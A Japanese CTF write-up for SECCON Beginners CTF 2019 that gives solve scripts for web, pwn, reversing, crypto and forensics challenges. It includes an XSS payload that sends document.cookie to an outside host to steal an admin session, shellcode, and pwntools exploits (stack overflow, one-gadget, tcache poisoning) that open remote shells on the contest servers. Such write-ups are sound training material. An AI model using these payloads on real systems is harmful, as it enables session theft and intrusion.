SECCON Beginners CTF 2019 write-up
個人参加。8位。
「今年こそ全完」と意気込んでいたが、そう甘くはなかった。
ユーザ登録とチーム登録だけなら1位(最速)。
Web
[warmup] Ramen
美味しいラメーン(せくこん太郎談)の画像に挟まれて、SQLi可能な検索フォームがある。
でテーブル一覧を取得し、
でカラム一覧を取得し、
でフィニッシュ。
ctf4b{a_simple_sql_injection_with_union_select}
katsudon
意図せず、ただのBase64問になってしまった模様。
$ wget -q https://katsudon.quals.beginners.seccon.jp/flag -O - | grep -Po ".*(?=--)" | base64 -d | grep -o ctf4b{.*}
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Himitsu
[#記事ID#] の機能を利用し、悪意あるタイトルを埋め込むことでXSSが可能。
例えばこんなタイトル。
<script>window.location='https://my.ip.address/?'+document.cookie;</script>
ただし、記事作成時のチェックにより「指定されたIDの記事が存在し、かつ、その記事のタイトルにタグ等が含まれている」場合はエラーとなる。
記事のタイトルにタグを含めるのは確定なので、チェック時には存在しない、「後で作る記事」のIDを指定することを考える。
記事IDは以下のように決定される。
<?php // シンタックスハイライト用 ... $created_at = date("Y/m/d H:i"); $article_key = md5($username . $created_at . $title);
ここから、「この日時に作成するぞ!」と心に決めた日時を用いて、あらかじめ記事IDを求められることが分かる。
そして、あらかじめ求めたIDを埋め込んだ記事を作成→心に決めた日時に「後で作る記事」を作成→元の記事を共有、という流れで PHPSESSID
が奪える。
adminとしてログインすると、フラグが書かれた記事が見つかる。 https://himitsu.quals.beginners.seccon.jp/articles/28a147ca4874466215662ac702c730cf
ctf4b{simple_xss_just_do_it_haha_haha}
記事IDの生成に用いられる日時が分単位なのが助かる。
SECCON 2018国内決勝のオンラインカジノ松島は秒単位だったので...
別解
上記バリデーションの後に <p>
タグに関する処理が行われるおかげで、
[#[#記事ID#]#] 等とすると任意の記事IDがエラーなしで指定できる。
Pwn
[warmup] shellcoder
シェルコード問。
b
、 i
、 n
、 s
、 h
を含むとアウト。
xorで回避。
from pwn import * shellcode = '\x48\xb8\xaf\xe2\xe9\xee\xaf\xaf\xf3\xe8\x48\xbb\x80\x80\x80\x80\x80\x80\x80\x80\x48\x31\xd8\x99\x52\x50\x48\x89\xe7\x31\xf6\x8d\x42\x3b\x0f\x05' # movabs $0xe8f3afafeee9e2af,%rax # movabs $0x8080808080808080,%rbx # xor %rbx,%rax # cltd # push %rdx # push %rax # mov %rsp,%rdi # xor %esi,%esi # lea 0x3b(%rdx),%eax # syscall r = remote('153.120.129.186', 20000) r.sendlineafter('Are you shellcoder?\n', shellcode) r.interactive()
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
OneLine
write
のアドレスを教えてくれるので、libcのアドレスが分かる。
また、任意のアドレスを指定して飛ぶことができる。
one-gadget RCE。
import sys from pwn import * ONE_GADGET = int(sys.argv[1]) target = ELF('./oneline') libc = ELF('./libc-2.27.so') # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') r = remote('153.120.129.186', 10000) # r = process('./oneline') r.sendlineafter('>> ', 'hoge') LIBC_BASE = u64(r.recv(0x28)[-8:]) - libc.symbols['write'] payload = 'A' * 0x20 + p64(LIBC_BASE + ONE_GADGET) r.sendlineafter('>> ', payload) r.interactive()
$ one_gadget libc-2.27.so -s 'python solve.py'
ctf4b{0v3rwr!t3_Func7!on_p0int3r}
memo
スタック上に確保するバッファのサイズを聞かれる。
小さいサイズを答えると怒られるが、符号なしで比較しているため、負値でも通る。
また、バイナリ中には、 system("sh")
してくれる素晴らしい関数 hidden
が用意されている。
後は単純にリターンアドレスを hidden
に書き換えるだけ、なのだが、
ローカルで通るexploitがリモートで通らない現象が発生。
この前DEF CON CTF Qualifier 2019のspeedrun-005で酷い目に遭ったばかりだったため、
配布されているバイナリとサーバで動いているバイナリが異なるのではないか、と吐かせてみたが、そんなことはなかった。
いろいろ試した結果、先頭の push %rbp; mov %rsp,%rbp
を飛ばした位置にリターンすると、リモートでも上手く行くことが分かった。
from pwn import * target = ELF('./memo') r = remote('133.242.68.223', 35285) # r = process('./memo') r.sendlineafter('Input size : ', '-96') payload = '' payload += 'A' * 8 # payload += p64(target.symbols['hidden']) payload += p64(target.symbols['hidden'] + 4) r.sendlineafter('Input Content : ', payload) r.interactive()
ctf4b{h4ckn3y3d_574ck_b0f}
普段、rbpをまともな値に戻すため、基本的には関数の先頭にリターンしていることから、
ここへたどり着くのにかなり時間を要してしまった。
補足
SSEの命令で落ちているのを見るに、スタックが16バイト境界に揃っている必要があるらしい。適当なretに1回飛ばしてスタックのアドレスを調節すれば通った。
なるほどー!
こういう落ち方は全く頭になかった。良い学びを得た。
BabyHeap
とても単純なヒープ問。正しくbabyしているbaby問。
そういえば、こんなことを抜かしている奴がいた。
malloc読んだことない奴に人権はない
— ゼオスTT (@zeosutt) 2019年5月16日
もちろん余裕で解けたに違いない。
🤔🤔🤔🤔🤔
気を取り直して...
最初に _IO_2_1_stdin_
のアドレスを教えてくれるので、libcのアドレスが分かる。
まず、double freeを利用してtcache poisoningを行い、
malloc
が __malloc_hook
の領域を返すように仕込む( __free_hook
でもよい)。
そして、malloc
が __malloc_hook
の領域を返したら、
値をone-gadgetに書き換えて再度 malloc
するとシェルが取れる。
import sys from pwn import * ONE_GADGET = int(sys.argv[1]) target = ELF('./babyheap') libc = ELF('./libc-2.27.so') r = remote('133.242.68.223', 58396) r.recvuntil('>>>>> ') LIBC_BASE = int(r.recvline().split()[0], 16) - libc.symbols['_IO_2_1_stdin_'] r.sendlineafter('> ', '1') r.sendlineafter('Input Content: ', 'hoge') r.sendlineafter('> ', '2') r.sendlineafter('> ', '2') r.sendlineafter('> ', '3') r.sendlineafter('> ', '1') r.sendlineafter('Input Content: ', p64(LIBC_BASE + libc.symbols['__malloc_hook'])) r.sendlineafter('> ', '3') r.sendlineafter('> ', '1') r.sendlineafter('Input Content: ', 'hoge') r.sendlineafter('> ', '3') r.sendlineafter('> ', '1') r.sendlineafter('Input Content: ', p64(LIBC_BASE + ONE_GADGET)) r.sendlineafter('> ', '3') r.sendlineafter('> ', '1') r.interactive()
$ one_gadget libc-2.27.so -s 'python solve.py'
ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}
ヒープの気持ち(特にtcache)を学ぶにあたって大変良い教材なので、是非解くべき。
Rev
[warmup] Seccompare
何も考えずにltraceした。
$ ltrace ./seccompare hoge |& grep -o ctf4b{.*}
ctf4b{5tr1ngs_1s_n0t_en0ugh}
Leakage
何も考えずにangrした。
import angr import claripy flag = claripy.BVS('flag', 8 * 0x22) proj = angr.Project('./leakage') state = proj.factory.entry_state(args=['./leakage', flag]) simgr = proj.factory.simgr(state) simgr.explore(find=0x4006b5) print(simgr.found[0].solver.eval(flag, cast_to=bytes))
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation
何も考えずにangrした。
import angr proj = angr.Project('./linear_operation') simgr = proj.factory.simgr() simgr.explore(find=0x40cf78) print(simgr.found[0].posix.dumps(0))
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
SecconPass
/dev/urandom
から読み込んだ乱数を基に4バイトのkeyを生成し、
c[0] = p[0] ^ key[3]
、
c[1] = p[1] ^ key[1]
、
c[2] = p[2] ^ key[3]
、
c[3] = p[3] ^ key[1]
、
...
といった具合に暗号化し、リストに登録するプログラム。
で、どこにフラグの手掛かりが...?
と思ったら、 .fini_array
セクションに登録された関数内で、暗号化されたそれっぽいデータを登録している。
フラグが ct
から始まることを利用してkeyを復元し、decode。
encrypted = '\x54\x4d\x51\x0d\x55\x42\x7e\x54\x47\x55\x04\x54\x04\x57\x43\x0a\x53\x66\x75\x40\x68\x7a\x47\x08\x42\x0c\x47\x08\x42\x0c\x6d' key = 'A' + chr(ord(encrypted[1]) ^ ord('t')) + 'A' + chr(ord(encrypted[0]) ^ ord('c')) flag = '' for i in range(len(encrypted)): if i % 2 == 0: flag += chr(ord(encrypted[i]) ^ ord(key[3])) else: flag += chr(ord(encrypted[i]) ^ ord(key[1])) print(flag)
ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z
フラグ末尾がおかしいが、
追記: 問題の不具合により、フラグの一部が正常に得られないことが分かりました。 したがって今回は提出されたフラグの先頭 30 文字が正しければ、正解とします。
ということで、これで通る。
Crypto
[warmup] So Tired
ひたすらBase64デコードとzlib伸長を繰り返す。
import base64 import zlib encrypted = open('./encrypted.txt', 'r').read() for i in range(500): encrypted = base64.b64decode(encrypted) encrypted = zlib.decompress(encrypted) print(encrypted)
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Party
「もし party[i]
が coeff
の各要素より大きければ、 val[i]
は party[i]
進数を10進数に変換したもので、 secret
は元の party[i]
進数の1の位」、「1の位は他の位の影響を受けない」などと考え、とりあえず val[i] % party[i]
を出力してみた。
from Crypto.Util.number import long_to_bytes encrypted = eval(open('./encrypted', 'r').read()) for e in encrypted: print(long_to_bytes(e[1] % e[0]))
ctf4b{just_d0ing_sh4mir}
secret
が party[i]
より小さかったためこれで出たが、本来は連立方程式を解くべき。
Go RSA
0
、 1
、 2
、暗号化されたフラグを渡した結果等から、
は大きく、 は毎回変わり、また、パディングせずに を計算していると推測。
ここで、 の場合の結果を 、 の場合の結果を 、 の場合の結果を とすると、
、 であるから、
、 と表せる。
もし であれば、 となり、復号に成功する。
from pwn import * from Crypto.Util.number import long_to_bytes from fractions import gcd while True: r = remote('133.242.17.175', 1337) r.recvuntil('Encrypted flag is: ') encrypted = int(r.recvline()) r.sendlineafter('> ', '2') c2 = int(r.recvline()) r.sendlineafter('> ', '4') c4 = int(r.recvline()) r.sendlineafter('> ', '8') c8 = int(r.recvline()) r.recvuntil('The D was ') d = int(r.recvline()) r.close() n = gcd(c2 * c2 - c4, c2 * c4 - c8) flag = long_to_bytes(pow(encrypted, d, n)) if flag.startswith('ctf4b'): break print(long_to_bytes(pow(encrypted, d, n)))
ctf4b{f1nd_7he_p4ramet3rs}
実際に試してみると、比較的高い確率で となることが分かる(たまに とかになる)。
別解
m^e mod n
— kurenaif@VTuber (@fwarashi) 2019年5月26日
なので
mに-1を渡せば、eが奇数のとき
-1 mod nになります
なので、n-1がでてきて、これとdで復号できます
天才。
には を法とする逆元( )が存在しなくてはならないため、必ず奇数になるはず(さすがに を仮定)。
であれば、常にこの方法が成り立つ。
Misc
[warmup] Welcome
IRC、あまり質問とかなかったですね。
ctf4b{welcome_to_seccon_beginners_ctf}
containers
binwalkすると、大量のPNGファイルが含まれていることが分かる。
$ binwalk containers DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 16 0x10 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 107 0x6B Zlib compressed data, compressed 738 0x2E2 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 829 0x33D Zlib compressed data, compressed ... 31524 0x7B24 PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced 31615 0x7B7F Zlib compressed data, compressed
foremostで取り出す。
$ foremost containers Processing: containers |*|
ディレクトリを開く。
打つ。
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
Dump
fileの結果から、パケットキャプチャだと分かる。
$ file dump dump: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
Wiresharkで眺めると、flagをhexdumpした結果が流れているので、頑張って取り出す。
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133 327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252 164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166 ... 243 140 024 214 202 121 060 012 106 301 050 030 005 344 000 000 050 241 022 115 000 060 014 000
あとは、それを元に戻したり解凍したりする。
import subprocess data = ''.join(map(lambda x: chr(int(x, 8)), open('./flag_hexdumped').read().split())) open('./flag.tar.gz', 'wb').write(data) subprocess.call(['tar', '-xf', './flag.tar.gz'])
すると、フラグの書かれた画像が出てくる。
ctf4b{hexdump_is_very_useful}
Sliding puzzle
一からコード書くのは面倒なので、適当に調べたら出てきた
8パズルの最短手を求めるプログラム · GitHub
を改造し、求解はそれに任せて通信に専念することにした。
from pwn import * import subprocess r = remote('133.242.50.201', 24912) for i in range(100): r.recvuntil('----------------\n') args = ['./solve'] + ''.join(r.recvlines(3)).replace('|', '').split() ans = ','.join(subprocess.check_output(args).split()[::-1]) r.sendlineafter('----------------\n', ans) r.interactive()
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}